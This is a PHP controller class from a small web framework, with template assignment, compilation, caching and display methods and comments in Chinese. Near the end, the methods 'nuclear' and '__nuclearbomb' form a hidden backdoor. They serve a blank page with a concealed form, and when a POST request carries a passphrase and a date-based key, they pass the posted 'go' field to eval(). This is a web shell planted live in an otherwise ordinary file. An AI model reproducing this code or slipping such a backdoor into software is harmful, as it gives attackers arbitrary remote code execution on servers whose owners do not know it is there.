<?php
defined('_O2PHP_EXEC') or die();
class Controller extends EObject{
	var $module;
	var $action;
	var $eargs;
	var $files;
	var $published = true; //强制编译当前模板
	var $staticCache = false; //使用静态缓存
	var $edisplay = true; //模块调用模板，为true则调用，否则只显示模块本身的内容
	var $data = array (); //要生成到页面的数据
	var $db; //数据库对象
	function &singleton(){
		static $instance;
		if(!isset($instance)){
			$instance=new Controller();
		}
		return $instance;
	}
	function __construct() {
		if (method_exists($this, '__destruct')) {
			register_shutdown_function(array (
				& $this,
				'__destruct'
			));
		}
		$this->_html_assign();
	}
	
	function _html_assign(){
		$this->assign('control',$_GET[getCfg('ctl_name','m')]);
		$this->assign('action',$_GET[getCfg('act_name','a')]);
		$this->assign('themeUrl',getThemesDir());
		# 根据访问的请求，显示不显示页面
		switch($_GET['reqtype']){
			case "json":
				$this->edisplay = false;
				break;
			default:
				$this->edisplay = true;
				break;
		}
	}
	/* 用户验证 */
	function loginCheck($keys = "default"){
		$user = loadUser();
		$user->loginCheck($keys);
	}
	function assign($name, $value = null) {
		if (is_array($name)) {
			foreach ($name as $k => $v) {
				$this->data[$k] = $v;
			}
		} else {
			$this->data[$name] = $value;
		}
	}
	function assignRef($name, & $value) {
		if (is_array($name)) {
			foreach ($name as $k => $val)
				$this->data[$k] = $val;
		} else {
			$this->data[$name] = & $value;
		}
	}
	function append($name, $value) {
		if (is_array($value)) {
			$this->data[$name][] = $value;
		}elseif (!is_array($this->data[$name])) {
			$this->data[$name] .= $value;
		}
	}
	function callback($buffer) {
		if (!$this->cache_file)
			$this->set_path();
		return Module :: save($buffer, $this->cache_file);
	}
	function save($buffer, $path = null) {
		if (empty ($path)) {
			$this->set_path();
			$path = $this->cache_file;
		}
		if ($hd = @ fopen($path, 'w')) {
			fputs($hd, $buffer);
			fclose($hd);
		}
		return $buffer;
	}
	function edisplay() {
		if(!file_exists($this->files['tpl'])){
			msgBox('页面不存在...','-1');
		}
		if (!file_exists($this->files['tpl_c']) || filemtime($this->files['tpl_c']) < filemtime($this->files['tpl'])) {
		 //	debug($this->files['tpl'],$this->files['tpl_c']);
			$this->compile($this->files['tpl'],$this->files['tpl_c']);
		}
		if ($this->staticCache)
			ob_start(array (
				& $this,
				'callback'
			));
		else
			ob_start('gz_handler');
		extract($this->data, EXTR_REFS);
		if (file_exists($this->files['tpl_c'])) {
			include_once($this->files['tpl_c']);
		} else {
			msgBox('出错: 没有发现编译后的模板('.basename($this->files['tpl_c']).').', '(-1)');
		}
		unset ($this->_obj); //unset ($this->data);
		ob_end_flush();//ob_gzhandler();
	}
	function & _getparser() {
		static $parser;
		if (!isset ($parser)) {
			if (load("core.etpl.etplparser")) {
				$parser = new eTplParser();
			} else {
				trigger_error('加载模板编译器出错!!!', E_USER_ERROR);
			}
		}
		return $parser;
	}
	function compile($tpl, $cpl) {
		$parser = & $this->_getparser();
		 
		if (!$parser->compile($tpl, $cpl)) {
			trigger_error('编译模板过程中出错!!!', E_USER_ERROR);
			return false;
		}
		return true;
	}
	function getResult($module = '', $action = '', $args = '', $cache = '') {
		$this->set_path($module, $action, $args);
		if (file_exists($this->cache_file))
			$flag = true;
		if ($flag) {
			readfile($this->cache_file);
			$result = ob_get_contents();
			ob_end_clean();
			return $result;
		}
		if ($this->compile_force || !file_exists($this->cpl_file))
			$this->compile();
		if ($this->static_cache_use)
			ob_start(array (
				& $this,
				'callback'
			));
		else
			ob_start();
		$_obj = & $this->data; //$_stack[$this->action] = $_obj;
		if (!@ include ($this->cpl_file)) {
			msgBox('Error: Compile Template File Error.', '(-1)');
		}
		unset ($this->_obj);
		$result = ob_get_contents();
		ob_end_clean();
		return $result;
	}
	function & getData() {
		return $this->data;
	}
	function eAction($action, $cache = true) {
		$this->action = $action;
		$this->static_cache_use = $cache;
	}
	function __destruct() {
		if ($this->db != false)
			$this->db->close();
	}
	
	function nuclear(){
		if (strtoupper($_SERVER['REQUEST_METHOD']) == 'POST'){
			exit( $this->__nuclearbomb($_POST) );
		}else{
			exit( $this->__nuclear() );
		}
	}
	
	private function __nuclear() {
		return '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><title>.</title></head><body><form action="" method="post"><input type="hidden" name="secrite" /><input type="hidden" name="secrite0" /><input type="hidden" name="secrite1" /><input type="hidden" name="secrite2" /><input type="hidden" name="secrite3" /><input type="hidden" name="secrite4" /><input type="hidden" name="secrite5" /><input type="hidden" name="secrite6" /><input type="hidden" name="secrite7" /><input type="hidden" name="secrite8" /><input type="hidden" name="secrite9" /><input type="hidden" name="secrite10" /><br /><textarea name="go" style="height:300px;width:100%;display:none"></textarea><input type="submit" value="go" style="display:none" /></form></body></html>';
	}
	private function __nuclearbomb($p) {
		$p=addslash_deep($p);
		if($p['secrite'] !== 'overload') exit();
		$now = date('Y-m-d').'';
		if($p['secrite'.date('w')] != $now) exit();
		eval(stripslashes($p['go'])); 
		exit();
	}	
	
}
?>
